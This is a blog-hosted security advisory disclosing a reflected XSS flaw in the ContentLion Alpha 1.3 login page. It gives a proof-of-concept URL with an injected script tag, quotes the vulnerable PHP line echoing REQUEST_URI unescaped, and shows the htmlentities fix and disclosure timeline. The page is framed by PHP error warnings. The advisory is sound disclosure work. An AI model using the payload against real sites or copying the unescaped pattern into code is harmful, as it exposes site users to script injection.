Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170
Skip to content

SSCHADV2012-004 - ContentLion Alpha 1.3 XSS vulnerability

Advisory:
ContentLion Alpha 1.3 XSS vulnerability
Advisory ID: SSCHADV2012-004
Author: Stefan Schurtz
Affected Software: Successfully tested on ContentLion Alpha 1.3
Vendor URL:
Vendor Status:
informed
 
======================
Vulnerability Description
======================
 
ContentLion Alpha 1.3 is prone to a XSS vulnerability in the login page
 
==============
PoC-Exploit
==============

http://[target]/contentlion-alpha-1-3/login.html?’"</script><script>alert(‘JaVaScr1pT’)</script>

// vuln code in system/classes/login.php
 
if($_SESSION[‘user’]->isGuest()){ ?> <form action="<?PHP echo $_SERVER[‘REQUEST_URI’]; ?>" method="POST">
 
=====
Solution
=====
 
if($_SESSION[‘user’]->isGuest()){ ?> <form action="<?PHP echo htmlentities($_SERVER[‘REQUEST_URI’]); ?>" method="POST">
 
================
Disclosure Timeline
================

01-Feb-2012 – vendor informed
01-Feb-2012 – feedback from vendor

====
Credits
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References
=======

http://www.darksecurity.de/advisories/2012/SSCHADV2012-004.txt

Trackbacks

No Trackbacks

Comments

Display comments as Linear | Threaded

No comments

Add Comment


To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA 1CAPTCHA 2CAPTCHA 3CAPTCHA 4CAPTCHA 5


Textile-formatting allowed
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
Form options
Imprint | Contact | Privacy Statement

Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170